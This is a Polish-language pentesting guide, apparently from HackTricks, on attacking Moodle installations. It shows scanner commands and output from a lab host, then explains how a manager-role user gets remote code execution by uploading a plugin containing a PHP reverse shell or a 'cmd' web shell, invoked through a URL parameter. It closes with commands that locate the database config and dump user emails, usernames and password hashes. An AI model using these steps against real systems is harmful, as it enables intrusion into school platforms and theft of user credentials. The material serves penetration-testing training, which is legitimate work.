# Moodle {{#include ../../banners/hacktricks-training.md}} ## Automatyczne skany ### droopescan ```bash pip3 install droopescan droopescan scan moodle -u http://moodle.example.com// [+] Plugins found: forum http://moodle.schooled.htb/moodle/mod/forum/ http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt http://moodle.schooled.htb/moodle/mod/forum/version.php [+] No themes found. [+] Possible version(s): 3.10.0-beta [+] Possible interesting urls found: Static readme file. - http://moodle.schooled.htb/moodle/README.txt Admin panel - http://moodle.schooled.htb/moodle/login/ [+] Scan finished (0:00:05.643539 elapsed) ``` ### moodlescan ```bash #Install from https://github.com/inc0d3/moodlescan python3 moodlescan.py -k -u http://moodle.example.com// Version 0.7 - Dic/2020 ............................................................................................................. By Victor Herrera - supported by www.incode.cl ............................................................................................................. Getting server information http://moodle.schooled.htb/moodle/ ... server : Apache/2.4.46 (FreeBSD) PHP/7.4.15 x-powered-by : PHP/7.4.15 x-frame-options : sameorigin last-modified : Wed, 07 Apr 2021 21:33:41 GMT Getting moodle version... Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta Searching vulnerabilities... Vulnerabilities found: 0 Scan completed. ``` ### CMSMap ```bash pip3 install git+https://github.com/dionach/CMSmap.git cmsmap http://moodle.example.com/ ``` ### CVEs Zauważyłem, że automatyczne narzędzia są dość **bezużyteczne w znajdowaniu luk w zabezpieczeniach dotyczących wersji moodle**. Możesz **sprawdzić** je w [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) ## **RCE** Musisz mieć rolę **menedżera** i **możesz instalować wtyczki** w zakładce **"Zarządzanie witryną"**: ![](<../../images/image (630).png>) Jeśli jesteś menedżerem, możesz nadal potrzebować **aktywować tę opcję**. Możesz zobaczyć jak w PoC eskalacji uprawnień moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). Następnie możesz **zainstalować następującą wtyczkę**, która zawiera klasyczny pentest-monkey php r**ev shell** (_przed przesłaniem musisz ją rozpakować, zmienić IP i port revshell i ponownie skompresować_) {{#file}} moodle-rce-plugin.zip {{#endfile}} Lub możesz użyć wtyczki z [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE), aby uzyskać zwykły powłokę PHP z parametrem "cmd". Aby uzyskać dostęp do uruchomienia złośliwej wtyczki, musisz uzyskać dostęp do: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` ## POST ### Znajdź dane uwierzytelniające do bazy danych ```bash find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ``` ### Zrzut poświadczeń z bazy danych ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` {{#include ../../banners/hacktricks-training.md}}